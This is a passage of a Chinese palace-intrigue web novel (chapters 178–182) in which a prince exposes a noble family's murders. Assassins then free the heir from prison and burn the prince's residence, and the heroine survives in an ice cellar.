萧景宴看着楚御礼那在火光中挺拔的背影,沉声喝道:“御王!你...”
楚御礼猛地停下脚步,回头看着萧景宴,“怎么?你们萧家这是想抗旨不遵?”
萧景宴一噎,楚御礼转身对着几个负责人道,“所有大小院落都不准放过!”
他说完自己朝着姜黎婳描述出来的那个院落大步走去。
瞧着从未来过定国公府的楚御礼竟然直接朝着自家的后院走去,萧景宴心头忽然闪过一丝不详的预感,难道楚御礼知道那小院的秘密?
想到这里,萧景宴根本顾不得其他人了,他大步朝着萧景宴追过去。
定国公府东北角的一处偏僻的小院落前面,楚御礼瞧着上了锁的院子,嘴唇抿成了一条线,婳儿说的若是没错的,那这院子里面还有不少尸身!
“来人!把锁砸开。”
“等一下!”萧景宴心慌地走过来,拦住了楚御礼的去路,“这里面是我平日放书画的地方,里面应该没有什么好搜查的。”
“这个院落平日里没什么人来?”楚御礼看着站在院门前拦着自己去路的萧景宴问。
萧景宴咽了咽口水,他掩饰住眼底的惊慌,沉着脸颔首,“是,这里平日就放一些我购买的书画,并未有人敢踏足这边。”
“这样本王更应该搜查了,没人来的地方,才是最好藏人的。”楚御礼说罢脸色一冷,沉声道:“开锁!搜!”
萧景宴双手死死地地捏在一起,侧首沉沉地看着楚御礼。
院门被砸开,一队人马就冲了进去,他们把院子里面的大小屋子都搜了一个遍,什么都没有。
这时候带着人搜索其他院落的御林军小队长、锦衣卫副指挥使还有昭临也都走了过来,三人对着楚御礼抱拳行礼,昭临道,“王爷,我们搜了定国公府的其他院落,都没有搜到那个刺客和可疑之物。”
萧剑仁和萧景宴父子二人闻言眼底都闪过一丝劫后余生的轻松,萧剑仁上前对着楚御礼道:“王爷可还有什么要说的?”
萧景宴也冷笑着看向楚御礼,“既然王爷没有搜到刺客和可疑之人,那还请王爷明日在朝堂上还我们萧家清白!”
这是要让楚御礼在朝堂上向他们家道歉呢。
御林军小队长听到这话眉头皱了起来,忍不住低声和站在一旁的锦衣卫副指挥使朱晓千道,“我就说要三思而后行,这么莽撞,王爷还是太年轻了。”
朱晓千瞥了那小队长一眼,挑眉,“你不莽撞,三十多快四十的人了,还只是一个小队长。”
小队长:“......”
这还带人身攻击的啊?
这边楚御礼丝毫没有把萧景宴的话放在耳中,也没有对其他人下令让他们离开,而是径直走进了那座院子,在院子里面扫视了一圈,然后看着那被巨石压着的井口,沉声道:“把那石头给本王移开。”
萧景宴猛地抬头看向站在院中的楚御礼,迈步走进去拦住要去移动石头的士兵,对楚御礼说道,“王爷这是做什么?这座枯井曾有婢女跳进自杀,有算命的说此井需封,不能重见天日!否则那婢女的亡魂必将不得安宁,我们国公府也会受影响!”
“萧世子还信鬼神?”楚御礼嘴角勾起一抹浅浅的弧度,“一个婢女的亡魂你们还看得如此重?”
萧剑仁连忙上前,陪笑着道:“一个婢女自然不足惜,只是那算命的先生说此井若见了天日,会影响我们国公府的气运,所以,王爷,您...”
“掀开!”楚御礼冰冷地打断萧剑仁的话。
萧剑仁自然知道这井底是什么,他们家之所以会封锁这个院落也是因为井底时不时的会传出恶臭,所以才会封了这个院落,若是让这枯井里面的东西面见了天日,那他们萧家才是真的完了!
萧景宴现在若还看不出来楚御礼是有备而来的,那就是真的愚蠢了!
他看了一眼站在门口一直等着自己吩咐的萧达,冲着萧达点了点头,萧达见状转身就要走,这个时候一直隐藏在府兵中没有路面的青砚走了出来,他一把揪住萧达的衣领,拉着进了院子。
“殿下,此人方才鬼鬼祟祟地想要离开。”
“我没有!”萧达连忙道,“我只是有些困了,想回自己的院子睡觉了。”
“你们主家发生这么大的事情你还睡得着?”青砚一把把人扔在地上,“乖乖候着,一会儿搜查完了,你们家没事儿你就可以小睡一会儿了,若你们家真查出点什么,你就可以长眠了,还需要争取这一会儿睡觉的时间?”
青砚说罢亲自上前招呼人,“王爷都吩咐搬石头了,还愣着干嘛?来帮忙啊!”
一刻钟后,巨大的石头被掀开,井底一股刺鼻的恶臭传来,青砚的昭临两人的眼泪立刻被熏出来了,其他人更是熏得连连干呕。
楚御礼用一只手掩着鼻子,眼神冰冷地扫了一眼不自觉地往后退了一步的萧景宴,喝道,“下去搜。”
萧景宴脚步慢慢地往后退。
朱晓千站在他后面拦了他的去路,萧景宴差点被绊倒,他回头看向拦了他去路的人,朱晓千对他挑眉一笑,“世子这是要去哪儿?”
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第178章 萧家被抄,一个不留
“尸骨!下面好多尸骨!”井底传来士兵惊骇的喊声。
一刻钟后。
楚御礼瞧着那一具具从井底运出来的尸体,双手紧紧地握在一起,“萧剑仁!萧景宴!你们父子还有什么好说的!”
萧剑仁猛地往后退了几步,摇头道:“完了。”
萧景宴更是面如土色,“这怎么可能!”
“栽赃陷害!”萧景宴猛地抬头看向直逼这口枯井的楚御礼,厉声嘶吼,“这是你的栽赃我们国公府的!”
楚御礼瞧着现在还在狡辩的萧景宴,冷笑,“既然是本王栽赃,先前萧世子那般拦着本王又是为何?这难道不是你自己做贼心虚吗?”
楚御礼说罢不再看萧家父子二人,也不再多言,他又看了一眼那些被摆在院中的尸体,冷声道:“把萧家所有人全部带走!一个都不准放过!”
萧剑仁无力的瘫坐在地上,根本没有力气反抗了。
萧景宴则双手紧握,他猛地站起来看着楚御礼,“那些都是我的婢女,她们不听话,我处置一些奴才又怎么了?”
“这些话你现在不必这么着急地说出来。”楚御礼深深地看了萧景宴一眼,“等到了刑部,你再慢慢交代吧。”
他说罢,大步离开。
御王府遇刺,刺客窜逃进入定国公府,御王殿下带人在定国公府查出几十具尸骨的事情很快就闹得人尽皆知。
定国公府被查封,定国公府全家上下一百多口人全部被下狱,宫门也提前打开,皇帝召见了抄了定国公府的御王殿下。
御书房中。
楚御礼带着朱晓千等人把井底那些人的随身之物全都奉上,还有定国公府近年来的账册。
皇帝看了一眼账册,面上没什么表情。
京城之中的大臣没几个干净的,这些东西对他来说,并不稀奇,他把目光放在桌上托盘中那些价值不菲的随身佩戴之物上,目光沉沉,“这些就是那些尸骨上面取下来的?”
楚御礼颔首,“是。”
皇帝一掌狠狠地拍在桌案上,眼底露出冷光,“好一个萧家!前定国公忠心报国,他们现在却干出这种伤天害理的事情来!”
“父皇,恐怕不止。”楚御礼说着上前翻开被皇帝忽略的账册后面,“定国公府这些年往同州送了不少银两,儿臣怕他们有二心。”
皇帝不只是太震惊,还是过于镇定,他定定地看着那一笔笔往同州输送银两的账目,好半晌后,才沉声道,“你派人去同州走一趟。”
楚御礼抬眸看向皇帝,轻声道,“父皇,萧家并没有那么大的能耐,就他这点银两,还干不成什么大事,而且,儿臣的人不是抄了酔颜坊吗?那里是萧景宴打探消息的据点,儿臣让人端了酔颜坊那夜,萧景宴不在,而酔颜坊的掌柜也跑了,至今下落不明。”
皇帝抬眸看着他,“你觉得有人带动萧家,想要造反?”
楚御礼眉头微蹙,“如今虽然证据不足,但儿臣相信自己的直觉。”
皇帝深深地看着楚御礼,沉吟了片刻,皇帝才坐直了身子,“此事非同小可,切不可大意,在查出确凿的证据之前,不可走漏半点风声,明白了?”
“儿臣知道。”
皇帝瞧着如今办事越来越得力,人也越来越沉稳的儿子,他放下心头那些事情,站起来拍了拍儿子的肩膀,“你身子如今刚大好不久,不要太过操劳。”
“多谢父皇关心,只是此案牵扯无数的家庭,儿臣想早点还那些死者和死者家人一个公道。”楚御礼垂眸道。
皇帝叹了口气,瞧着心怀子民的儿子,他欣慰地点头,“好,那你就好好查,早些给那些死者和死者家人一个交代。”
刑部大牢。
现在还未到卯时,天色未亮,大牢中本就阴暗潮湿,此时火把的光芒在石壁上摇曳,更给这阴森的牢房添了几分诡谲之色。
萧景宴坐在牢房的角落中,耳边是母亲和婢女们的啜泣声,和家丁们喊冤的哭声。
他身上的锦服此时已经不见了先前的光彩,他坐靠在牢房的墙角,眼中布满了血丝,随意放在地上的手指轻轻地敲打着地面,目光一直看着牢房入口的地方,像是在等待什么。
坐在他旁边牢房的萧剑仁瞧着他如此淡然的模样,忍不住道,“你倒是想想办法啊!难道我们就要在这儿等死了吗?”
萧景宴抬眸看了萧剑仁一眼没有说话。
萧剑仁瞧他对自己爱答不理的模样,气不打一处来,“逆子!若不是你们干的好事,我们至于变成现在这个样子吗!”
萧景宴冷漠的抬眸看了萧剑仁一眼,语气凉薄,“你若想死得更快一点的话,那就继续说。”
“我为什么不能说!”萧剑仁怒了,他站起来厉声喝道:“若不是以为她,我们萧家会变成这样吗?你现在不如好好想想,咱们是不是要把她供出来,将功赎罪,我们家做那些事情本来就是被她逼着做的...”
咔嗒。
牢房的门被人从外面打开。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!接着一个黑影骤然跃进萧剑仁的牢房不等萧剑仁反应,就直接划破了他的脖子。
尖叫声骤然在牢狱中响起。
狱卒和守卫的士兵全都涌了进来,立刻有人大声喊,“抓刺客!有刺客!杀人啦!”
萧景宴的母亲更是惊慌的哭出了声音,“救命!杀人了!”
刺客并未着急走,而是朝着那些士兵和狱卒杀了过去。
接着又涌了一批黑衣人与那些人缠斗在一起。
就在这时候,萧景宴的牢房门被人打开,一个黑衣人走了进来,萧景宴抬眸看了一眼走进来的人,他嘴角勾起一抹浅浅的弧度,这才撑着身子站了起来,那黑衣人朝他抱拳,“主人命奴才来接您。”
萧景宴嗯了一声,抬步朝牢房外走去。
这时候被关在另一个牢房中的萧达还有夫人曹氏也扑到了门边来,“宴儿!”
“世子!”
把我们带上。
萧景宴停下脚步回眸看了两人一眼,接着他回头看向身后的黑衣人,沉声道:“萧家知道这些事情的人都不能留。”
萧达猛的瞪大眼睛看向萧景宴,他还没来得及说话,就被割破了喉咙。
曹氏被吓得尖叫着后退,她不可置信地看着自己的儿子,哭着喊道:“儿子!你要杀了为娘吗?”
“娘,儿子也不想的,可咱们萧家总要有人活下去不是吗?您真的能受得住刑部的酷刑,不把儿子和那位招出来吗?”萧景宴说着怜悯地看了曹氏一眼,叹气道:“所以您当初为什么非要偷听儿子和父亲说话呢。”
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第179章 火烧御王府
曹氏猛地瘫坐在地,她不可置信地看向萧景宴,“你是何时知道的?”
“难道在娘的眼中,儿子就那般没用吗?”萧景宴叹了口气,“若不是今夜事发,儿子也不想让母亲你变成亡魂啊。”
狱中的杀手不再等待,拿着匕首直接抹了曹氏的脖子。
萧景宴深深地看了一眼死不瞑目的曹氏,跟着那个黑衣人抬步往外走,走到牢狱出口的时候,他脚步微微顿了顿又回头看了一眼。
“萧氏的仇我会报的,你们不会白死的。”
“萧世子,快走吧,我们的那些人支撑不了多久的。”黑衣人面无表情的提醒萧景宴。
萧景宴看了黑衣人一眼,跟上黑衣人大步离开。
.......
“王爷!他们闯进来的全是死士,他们制造了整个刑部的混乱,杀了萧剑仁他们,把萧景宴救走了!”楚御礼刚跨进刑部大牢就遇到了身上挂彩的昭临朝着自己大步走来。
“冽风呢?”楚御礼抬步往刑部里面走,他早就猜到了只要抓了萧景宴,那肯定会有人来救,但是没想到来救萧景宴的人竟然来得这么快。
而且,他留了那么多人看守刑部,那些人竟然还是把萧景宴救走了。
“对方来了一百多个死士,他们都是不要命的亡命之徒,根本没有把自己的性命当命。”昭临脸色有些沉重,“看来萧景宴对他们来说的确很重要。”
楚御礼脚步一顿,“重要?”
他脸色一变,抬步就朝刑部外面走去,“回王府!”
御王府。
冰窖中,姜黎婳死死地捂着楚明月的嘴巴,不让她发出一点声音,沈归雁也紧紧地抓着铃铛的手臂让自己不要发出声响。
知夏紧紧地捂着自己的嘴,眼神恐惧地看向身旁还在流血的佩玉,她想要开口问佩玉的伤势,却被佩玉抬手阻止了,佩玉朝她摇了摇头,接着伸手捏住了知夏的手。
不能说,现在若我们发出一点声响的话,那一定会被那些人找到的,那样我们谁都活不下去了。
门外的杀手几乎把每个院落都搜了一遍,还是没有找到姜黎婳等人的痕迹,带头的杀手有些气恼。
“该死!”
其中一个沉声道:“我们不如把御王府烧了,这样即便他们藏起来,也会被烧死。”
带头那个杀手听到手下这话,眼底闪过一丝狠厉的光芒,“回去之后不准乱说,知道了吗?”
“主人吩咐的事情,咱们没有完成,自然不敢乱说。”
“去拿火油来。”
一刻钟后,御王府成为火海。
楚御礼与昭临他们刚到街道外面就看到火光冲天的御王府,楚御礼心头一跳,策马朝御王府的方向狂奔。
姜黎婳!
你不能有事!
马儿在御王府门外停下,楚御礼翻身下马就往王府里面冲,昭临、青砚和沉鹤三人见状冲上去拦住楚御礼,昭临沉声道,“主子,现在火势太大,您不能进去!”
“滚开!”楚御礼双目赤红地推开昭临。
“主子,您要进去就杀了属下再去吧!”昭临扑通跪在地上,沉声道:“属下绝对不能眼睁睁地看着您以身犯险的!”
“你真以为本王不敢杀你?”楚御礼一把抽出青砚腰间的佩剑,指着昭临,“滚开!”
昭临跪在那里不动。
青砚看着这一幕心揪地捏紧了双手。
站在一旁的沉鹤则低声道:“火势这么严重,府中却没有人往外面跑,只怕是府上的人已经被先杀了灭口了。”
这时候京城兵马司的人已经往这边涌来了。
青砚拉着楚御礼站在一边,沉声道:“王爷,等兵马司把火扑灭吧。”
楚御礼踉跄一步,接着推开青砚就要往里面走,沉鹤抬手直接给了楚御礼的后颈一个手刀,楚御礼睁大眼睛看向沉鹤,“你敢...”
他话未说完,人晕了过去。
沉鹤伸手接住楚御礼,脸色沉沉,“若是王妃有个三长两短,您活着才能给王妃报仇。”
京城离着御王府不远处的府邸中。
貌美的女人站在自己府院中的阁楼上眺望着映红了半边天的火光,她嘴角勾起一抹满意的弧度,好一会儿之后她才回眸看向跪在自己身后的黑衣人和萧景宴。
她目光在萧景宴脸颊上停留了片刻,然后看向其他几个黑衣人,轻笑着道:“今夜你们的表现都很不错,我很满意。”
黑衣人笑着道:“这也算是给了御王一个教训,让他自以为是。”
女人脸上的笑容瞬间收敛,她眼神冰冷的看着说话的那个黑衣人,语气凉薄,“我允许你们置喙这还能事情了吗?”
黑衣人被吓了一跳,连忙磕头认错,“是奴才僭越了,请主人责罚。”
“滚下去。”女人冷哼了一声,“去领五十鞭。”
说话的那个黑衣人两忙应声退下。
瞧着其他几个不识趣的黑衣人,女人眼神一凌,“还不滚?”
其他人也快步离开了。
现在阁楼上就只剩下萧景宴和女人了。
这章没有结束,请点击下一页继续阅读!“今夜多谢殿下救命之恩。”萧景宴慢慢地抬眸看着居高临下地看着自己的女人。
女人眉梢微挑,她半蹲下身子挑起萧景宴的下巴,“没有你,本宫这么些年也不能永葆青春,本宫怎么会让你出事呢。”
萧景宴抬起自己的脸,对女人牵着嘴角笑了笑,“只是如今萧家已经彻底被发现了,以后不能再为殿下您收集新鲜的血液了。”
“你这么尽心地为本公主着想,也不枉费本宫牺牲了那么多人也要救下你。”女人轻轻抬手摸了摸萧景宴的脸,“你爹娘死了,但是本宫也替你杀了御王的妃子,算是帮你报仇了。”
“多谢殿下。”萧景宴的脸往女人掌心中靠了靠。
他这个动作取悦了女人,女人笑着站了起来,她走到阁楼的窗户边朝萧景宴招手,“过来瞧瞧,今夜这火光美不美?”
萧景宴走过去搂着女人的腰肢,把下巴靠在她的肩膀上,“多谢殿下,今夜的夜色,是我看过最美的夜色了。”
女人又笑了,“是啊,混了鲜血的夜色才是最美的。”
她转身把头靠在萧景宴的胸膛出,手指轻轻地勾开萧景宴的腰带,“若不是他们揪着我不放,我也不愿意这么快就暴露我自己的势力的,是皇帝非要逼我,这些年他当皇帝,我不争不抢,喝点贱民的血怎么了?”
萧景宴此时已经被她脱的衣衫不整了,她的手指不安分的在他身上游走,他被撩的呼吸急促,就在萧景宴要伸手搂她的时候,她忽然转身从后面的木架上取下带着倒刺的鞭子一把甩在萧景宴的身上,“阿宴,今夜好好伺候我。”
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第180章 你说过会保护好她的
楚御礼醒过来的时候,御王府的火势已经被扑灭了,从皇宫赶来一直蹲在地上守着他的皇后见状连忙问,“御儿,你怎么样了?”
楚御礼猛地坐起来,他双目猩红地看了敲晕自己的沉鹤一眼,急声问:“怎么样了?”
“火势扑灭了。”京城兵马司指挥使的神色很不好,他抬手擦了擦额头上的汗水,有些沉重的说道,“虽然火势扑灭了,但是御王府上下几乎没有活口,那些**是把全府上下都杀光了才放火的,他们应该是想造成走水的假象。”
也不知道是哪个疯子,竟然敢杀了御王府全家...
皇后听到兵马司指挥使这话,整个人都晃了晃,她不可置信的看向王府里面,“这怎么可能?”
楚御礼也不相信姜黎婳已经**,他撑着身子站起来,“我要去找,没看到婳儿的尸体之前,我是绝对不会相信婳儿**的!”
楚御礼说罢推开扶着自己的昭临和沉鹤就往里面走。
这时候早就进去看情况的青砚大步走了出来,他激动地看着楚御礼,急声道:“王爷,王妃她们失踪了,府上并没有他们的尸体和身影,属下把府中所有的院子都找了,没有找到王妃,也没有找到沈小姐和六公主还有佩玉她们。”
皇后闻言面上一喜,“那快去附近找找,瞧瞧是不是已经逃出来了!”
楚御礼却并没有半点轻松,他定定地看着青砚,“真的什么地方都找过了吗?”
“已经找过了,每个院落都找了,没有王妃他们的影子。”青砚神色严肃的点头,一字一句地肯定道:“属下可以保证,因为府上所有的尸体属下都认真辨别过了,他们没有容貌被毁了的,就连张嬷嬷的尸体都...”
青砚的脸色变得沉重,“除了王妃院中贴身伺候的婢女,其他人都已经...”
“婳儿!”
三两马车同时停在御王府门口,吕月琴从马车上下来就跌跌撞撞地扑了过来,看着几乎被烧成废墟的御王府,她脚下一个踉跄直接扑倒在阶梯上,“婳儿啊!娘还没有抱过你啊!”
“小梨花!”姜斯羽从马车上冲下来直接冲到楚御礼面前,一把揪住楚御礼就是一拳,“你不是说会保护好她的吗?现在她被你害**!”
楚御礼挨了一拳没说话也没反抗,皇后却急了,她上前拦在楚御礼身前,怒指着姜斯羽,厉声呵斥,“大胆刁民,你做什么?”
姜斯羽不理皇后,双手捏紧成拳冷冷地盯着楚御礼,冷笑:“是你害**她!”
楚御礼拉开皇后,目光沉沉地看向姜斯羽,语气冰冷,“她没死!”
“那她人呢!”姜斯羽厉声质问。
被沈归昱和沈归离扶着的沈遇知也踉踉跄跄的走了过来,他看着眼前这一幕,只觉得眼前的东西都在晃动,“怎么会这样?”
楚御礼双目猩红,他抬头定定地看着姜斯羽,“我说了,婳儿一定不会死的!”
“御儿...”皇后心疼地拉着楚御礼,“你先跟母后回宫,然后我们再派人找婳儿,好不好?”
楚御礼抬手挣脱皇后的桎梏,转身往王府里面走,“谁都不准进来打扰本王找人!本王一定可以找到婳儿的!”
皇后和沈遇知他们要跟上去,青砚等人上前拦住他们的去路,皇后眉头紧蹙,“连本宫你们也要拦?”
“请皇后娘娘恕罪,王爷吩咐了,你们不能进。”青砚面无表情的看着皇后等人,沉声道:“之前兵马司和属下等人已经搜过一遍了,想来不会再出新的结果,请娘娘先派人去附近寻找王妃的下落,王府...”
青砚回头看了一眼楚御礼那略显苍凉的背影,叹道:“就让王爷自己找吧。”
姜斯羽双手死死的握着,语气带着他自己都不曾察觉的颤抖,“真的没有找到我妹妹?”
“姜公子,属下很认真地找了一遍,里面所有人死者的容貌都不曾被毁,无论是身形还是容貌都没有王妃她们。”青砚看着姜斯羽,语气郑重,“所以王妃她们可能真的没死,只是失踪了。”
“我们派人去找!”沈遇知转身就往阶梯下面走,“只要活着,总能找到人。”
姜斯羽也沉声道:“我去画画像,一定能找到他们的。”
还趴在阶梯上吕月琴听到他们的对话,抬手擦了擦眼泪,她从地上爬起来跑过去拉着青砚的手,急声问,“婳儿
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她,真的没有死吗?”
青砚瞧着衣衫不整的吕月琴,正要说话,就听皇后冷冷道:“吕夫人这是做什么?婳儿的生死与你何干?你们当初不过是认错了女儿,如今又来御王府假惺惺地做什么?”
已经走到阶梯下面的姜斯羽听到皇后这话停下脚步深深地看着吕月琴,这就是小梨花的亲生母亲?
和小梨花倒是长得很像。
可惜,不爱小梨花。
他不再看吕月琴,大步离开。
这时候又一辆马车停在御王府门外,胡氏在孟雪莲和吕静雅的搀扶下走了过来,看到皇后站在御王府门外,胡氏屈膝给皇后行礼,皇后连忙上前扶着胡氏,“老夫人不必多礼。”
“母亲。”吕月琴哭着朝胡氏喊了一声。
胡氏只是根本顾不上吕月琴,她拉着皇后,急声问道:“怎么就着火了?婳儿他们没事儿吧?”
皇后看了兵马司指挥使一眼,指挥使见状又把自己先前说过的话,说了一遍。
胡氏眼前一花,整个人差点晕了过去,孟雪莲眼疾手快的扶着她,掐住她的人中,胡氏缓过气来,无力的坐在了地上,她恍惚地看向御王府,“仇杀?”
皇后叹气,“可能和御儿这些日子调查的少女失踪案有关。”
这边楚御礼一个个院子挨着找了,就是没找到姜黎婳她们的身影。
“主子,这些地方我们都找过了,还是没找到王妃她们,王妃她们应该真的逃出府外了。”昭临低声劝楚御礼,“王妃既然会箭术,想来应该会点功夫,咱们不如去外面找。”
楚御礼目光沉沉的看了昭临一眼,沉声道:“她是会箭术,但是不会功夫,她们绝对不可能出府的。”
楚御礼说罢忽然朝后院的湖边走去,现在已经天光微亮了,可以清楚的看到水中的形势,确定了湖中没人,楚御礼又转身往梨月居的方向而去。
昭临看了沉鹤一眼,低声道:“你劝劝啊。”
沉鹤懒得理他,抬步跟上楚御礼。
楚御礼走到梨月居门外,看着院中杯烧成残垣的房屋,他忽然转身朝梨月居旁边走去,走到院墙外他弯腰旁边掀开一块石板,直接跳了下去。
第181章 你想假死离开?
冰窖中门外,楚御礼摸索了一下石墙上的机关,但是石墙平整,并摸不到机关的很急,他开始用手推石门,石门纹丝不动,从外面根本打不开。
这时候跟着从上面跳下来的沉鹤和昭临二人开始帮楚御礼推门,昭临眼里更是闪烁着兴奋的光芒,“对,我们还有冰窖没有找过!王妃她们说不定就藏在这里面!”
楚御礼沉着脸没说话,只和他们一同用劲,楚御礼一个人根本动不了的石门,此时终于被推开了一条缝隙,随着石门被推开,里面传出一股血腥味...
楚御礼闻到那股血腥味,根本来无法思考,他几乎立刻用劲全身力气和昭临二人把石门狠狠推开。
石门推开,入眼的是几个被冻得昏死过去的姜黎婳等人。
楚御礼疾步走进去,脱下外袍裹着姜黎婳抱起来就往外走,“婳儿,没事儿了,我来救你了。”
刚走到冰窖外,楚御礼正打算往上爬就被姜黎婳拉住了衣襟,楚御礼垂眸看她,见她睁开眼睛,他紧紧地闭了一下眼睛又睁开,好一会儿了他才哑着嗓音问,“醒了?”
“不出去。”姜黎婳靠在他的怀中,有气无力地低声道:“不能让旁人知道我还活着。”
楚御礼先是不解,接着停下了脚步,他正要说话,就听到里面传来沉鹤的声音,“佩玉嬷嬷!”
姜黎婳听到他的声音,心头一沉,语气中多了一丝急切,“王爷,抱我过去。”
楚御礼犹豫了一息,抱着她回到冰窖,把姜黎婳放到佩玉身旁,他又帮姜黎婳拢了拢她身上自己的外袍。
姜黎婳把手搭在佩玉的脉搏上,接着又把手放在她的颈动脉上,然后不死心的去翻佩玉的眼皮...
她没说话,但是眼泪却不停地从眼眶里面滑落出来。
这怎么可能!
她身上受了一点轻伤,因为没有带急救箱所以她没有处理伤口,所以一直能闻到一股淡淡的血腥味,后来那股血腥味越来越浓,她以为是血液混杂了冰水加重了血腥味...
“怎么会这样?”姜黎婳声音沙哑,她跪直身子想要给佩玉做心肺复苏...
楚御礼瞧着她的模样,痛心地上前抱着她,“婳儿,让佩玉嬷嬷安心的去。”
“她没死,她可能只是休克!只要没有错过急救的时间,一定是可以救回来的!”姜黎婳使劲去推楚御礼,“你放开我,我要救佩玉嬷嬷,不然就真的来不及了!你快松开我!”
她疯狂挣扎,使劲推打楚御礼,楚御礼都没有松开她,她哭了出来,“楚御礼你放开我,我要救她!”
楚御礼松了手,姜黎婳扑过去跪在佩玉面前使劲给佩玉做心肺复苏。
一盏茶后。
姜黎婳的眼泪已经打湿了佩玉胸口的衣襟,但是佩玉一直没有转醒的迹象,楚御礼上前拉着她的手,哑声道:“婳儿,佩玉嬷嬷已经...”
“是我害**她。”姜黎婳伸手死死地捂着自己的嘴,眼泪大滴大滴地从眼眶里面滑落出来,“是我的狂妄和自大害**她!”
“我以为我有能力保护好她们,我以为我可以抓住那些罪魁祸首,都是我的自以为是害**他们!”姜黎婳抓着佩玉的手,泣不成声,“我应该像她那样小心翼翼才是,为什么我明知道她的结局是那样,我还要这么自大的认为我能对抗那些人...”
“这不是你的错,是那些凶手的错。”楚御礼上前抱着姜黎婳,手一直在轻轻地拍着她的手臂安抚她,“这一切不是你的错,婳儿,你只是想让她们留在你身边也只想给那些死者和死者家人的一个交代,你没有错。”
“就是我的错,她都**,我为什么还要帮她报仇,那些事情我视而不见就行了,我为什么要多管闲事!”姜黎婳一把睁开楚御礼,抬手就往自己脸上扇巴掌,“是我害了整个王府的人!”
“小姐!”刚刚转醒的知夏看到姜黎婳在扇自己巴掌根本顾不得那么多,扑过来就抱着姜黎婳,“小姐,您这是做什么!”
姜黎婳整个人一怔,她缓缓垂眸看着抱着自己腰的知夏,喃喃道:“知夏,阿嬷**,是我害**她...”
知夏缓缓回头看了一眼躺在血泊中的佩玉,她眼眶通红,声音也变得哽咽起来
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,“奴婢知道,奴婢知道佩玉嬷嬷**。”
知夏在姜黎婳不解的眼神中慢慢的起身跪在佩玉面前,低声道:“佩玉嬷嬷被人从背后刺了一刀,她是为了小姐您才强忍着疼痛跟着您跳到冰窖中来的,她知道若让您知道她受伤的事情,您一定会不顾安危上去找药箱为她治伤的,所以她阻止奴婢不让奴婢告诉您她的伤势。”
姜黎婳哭得更厉害了。
知夏抓住姜黎婳的手,低声道:“小姐,是那些坏人的错,他们来王府是为了**灭口的,坏人十恶不赦,您怎么能因为他们做的恶事来责怪自己呢?您不能倒下,您还要给佩玉嬷嬷报仇。”
昭临和沉鹤两人把其他几人抱到了冰窖门外,听到知夏这么说,他们两人也沉痛地点头,沉鹤沉声道:“王妃,那些仇人越是猖狂,您越要振作起来,把他们绳之于法给王府死去的那些人报仇。”
楚御礼扶着姜黎婳让她站起来,“他们说的没错,婳儿,我们要为他们报仇才是。”
姜黎婳紧紧地闭上了眼睛,她脑海中浮现出这些年和佩玉相处的那些画面,她整个人都在颤抖,即便是闭着眼睛,眼泪也不停地痛眼角滑落,半晌之后,她捏紧双手睁开眼睛,点头,“报仇!”
听到她这句话,楚御礼心头瞬间放松了不少。
即便是仇恨,只要能让她有求生意志,让她不怪她自己,就好。
楚御礼紧紧地拉着姜黎婳的手,低声道:“我们先出去?”
姜黎婳看了楚御礼一眼,抽回自己的手,楚御礼垂眸看了一眼自己被推开的时候,手指微微曲了曲,“婳儿...”
姜黎婳呼了口气,把身上楚御礼披在自己身上的外袍递给楚御礼,低声道:“王爷你先把衣裳穿好,然后出去,就当没有在这里见过我们。”
楚御礼蹙眉,正要说话,姜黎婳就接着道:“现在敌在暗我在明,若我再出现在世人面前,那他们必定会再来杀我一次,所以御王妃必须**。”
楚御礼心头一沉,“你想假死离开?”
姜黎婳摇头,“我要给佩玉嬷嬷报仇。”
第182章 你有这么好心?
皇后在御王府外等了将近两个时辰才看到昭临和沉鹤两人扶着楚御礼从王府里面走了出来。
皇后瞧着自己走进去却被人扶着走出来的楚御礼,焦急地上前问,“怎么回事?御儿这是怎么了?”
“主子伤心过度,先前晕厥了过去。”沉鹤沉声道。
皇后痛心闭了闭眼睛,“扶王爷上马车,先回皇宫。”
一只守在一旁的胡氏见状忍不住问昭临,“王爷亲自去里面找也没有找到婳儿她们吗?”
昭临神色沉重地点了点头,“王妃她们没了踪迹,很可能凶多吉少。”
胡氏闻言整个人往后退了两步,孟雪莲和吕静雅两人连忙上前扶着她,孟雪莲低声道:“没找到就是好事,说明人可能还活着,婆母您别难过。”
胡氏伸手捂着胸口,痛心地摇头,“是我害**她啊,当初我若没有坚持非要让他们夫妇去找她,那她现在都还无忧无虑地在江南过自己的生活,完全不会被扯入这些事情中来啊...”
吕静雅也红了眼眶,她抬手揉了揉鼻子,低声道:“婳姐姐一定会没事的,我相信她一定还活着。”
而被人完全忽略了的吕月琴此时却无力地摔坐在了地上,她伸手捂着发痛的胸口,眼泪从眼眶里面不停地滑落,“婳儿...是娘对不起你...是娘该死...娘来陪你...”
她说着直接站起来朝着御王府的大门的石狮子撞了过去,就在她的头要撞到石狮的时候,整个人被人拉着狠狠地一扯,人跌坐在了地上。
青砚面无表情的看着被摔在地上人还有些懵的吕月琴,语气冰冷,“吕夫人与我们王府无亲无故,还是不要在死在我们王府门口前面较好,否则我们王妃即便是**,也会因为你这一撞,被推上风口浪尖。”
吕月琴经青砚这么一提醒,眼泪更是从眼眶中不停地滑落,想到之前自己所做的种种行为,吕月琴伏在地上嚎啕大哭。
胡氏原本不想理吕月琴,但是想到先前吕月琴是下了必死的心思才会去撞石狮的,她又强打起精神走到吕月琴面前,沉声道:“婳儿现在生死不知,你闹着出做什么?还嫌现在不够乱是吗?”
吕月琴坐在地上无力地抬头看着胡氏,低声道:“娘,女儿当初真的犯了死罪吗?我也是被蒙骗的,为什么你们都不原谅我?”
胡氏闭了闭眼睛,也许是真的害怕女儿做傻事,她好一会儿了才睁开眼睛,叹了口气对吕月琴道,“你没犯死罪,所以你好好的活着,也许活得久了,就会被谅解了。”
话说完了,胡氏拍了拍扶着自己的孟雪莲,满脸疲乏地说道,“先回府吧。”
让人把楚御礼扶着上了马车的皇后在上马车前回头看了吕月琴一眼,这才重新进了马车。
京城乱了,朝堂也乱了。
谁也没想到堂堂定国公府竟然和少女失踪案的幕后凶手有勾结,而世子萧景宴竟然是那幕后凶手心腹,萧景宴刚刚被抓,那幕后真凶竟然就派人一百多死士前去刑部劫狱,现在不仅刑部沦为了炼狱,御王府更是被成了地狱...
刑部牢狱中的狱卒和**已经完全**了,现在很多案子也成了悬案,加上御王府除了御王几乎全府的人都**了,让整个朝堂陷入了相当沉重的气氛当中。
而当初那些对少女失踪案都保持缄默态度的朝臣此时也义愤填膺地站了出来,“这件事情必须彻查到底!”
“这是他们向朝廷和皇室的挑衅!”
“现在他们敢杀御王府全府的人,是不是过不了多久就敢**了?”
